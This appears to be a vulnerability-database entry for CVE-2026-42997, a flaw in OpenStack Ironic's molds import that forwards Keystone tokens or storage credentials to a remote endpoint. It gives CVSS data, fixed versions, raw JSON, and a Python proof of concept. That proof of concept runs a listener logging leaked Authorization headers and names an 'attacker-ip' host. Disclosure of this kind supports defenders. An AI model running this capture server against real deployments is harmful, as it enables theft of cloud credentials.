Security Vulnerability Report
中文
CVE-2026-42997 CVSS 7.7 HIGH

CVE-2026-42997

Published: 2026-05-05 19:16:23
Last Modified: 2026-05-07 15:53:50

Description

An issue was discovered in idrac in OpenStack Ironic before 35.0.1. During import, a user invoking molds can request authorization to be sent to a remote endpoint. The credential forwarded is a time-limited Keystone token (which provides access to all OpenStack services Ironic is authorized for); or basic credentials configured for molds storage. The fixed versions are 26.1.6, 29.0.5, 32.0.1, and 35.0.1.

CVSS Details

CVSS Score
7.7
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

OpenStack Ironic < 26.1.6
OpenStack Ironic < 29.0.5
OpenStack Ironic < 32.0.1
OpenStack Ironic < 35.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-42997 This script simulates a malicious server waiting for the leaked credentials and demonstrates how the vulnerable endpoint might be triggered (conceptual). """ import http.server import socketserver from urllib.parse import urlparse, parse_qs class CredentialInterceptor(http.server.BaseHTTPRequestHandler): def do_GET(self): print("[+] Received request:") print(f" Path: {self.path}") # Capture Authorization header if present auth_header = self.headers.get('Authorization') if auth_header: print(f" [!] Leaked Credential: {auth_header}") # In a real scenario, the Keystone token would be here # e.g., 'Bearer gAAAAABl...' # Capture other potential headers for header, value in self.headers.items(): if 'token' in header.lower() or 'auth' in header.lower(): print(f" {header}: {value}") self.send_response(200) self.end_headers() self.wfile.write(b"Captured") PORT = 8000 with socketserver.TCPServer(("", PORT), CredentialInterceptor) as httpd: print(f"[*] Listening on port {PORT} for leaked credentials...") print("[*] Trigger the vulnerability by invoking Ironic molds import pointing to this server.") httpd.serve_forever() # Note: The actual trigger involves an API call to OpenStack Ironic # configuring the 'molds' import URL to point to the attacker's server (e.g., http://attacker-ip:8000).

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42997", "sourceIdentifier": "[email protected]", "published": "2026-05-05T19:16:22.817", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in idrac in OpenStack Ironic before 35.0.1. During import, a user invoking molds can request authorization to be sent to a remote endpoint. The credential forwarded is a time-limited Keystone token (which provides access to all OpenStack services Ironic is authorized for); or basic credentials configured for molds storage. The fixed versions are 26.1.6, 29.0.5, 32.0.1, and 35.0.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-669"}]}], "references": [{"url": "https://security.openstack.org/ossa/OSSA-2026-010.html", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/05/05/10", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/05/10", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}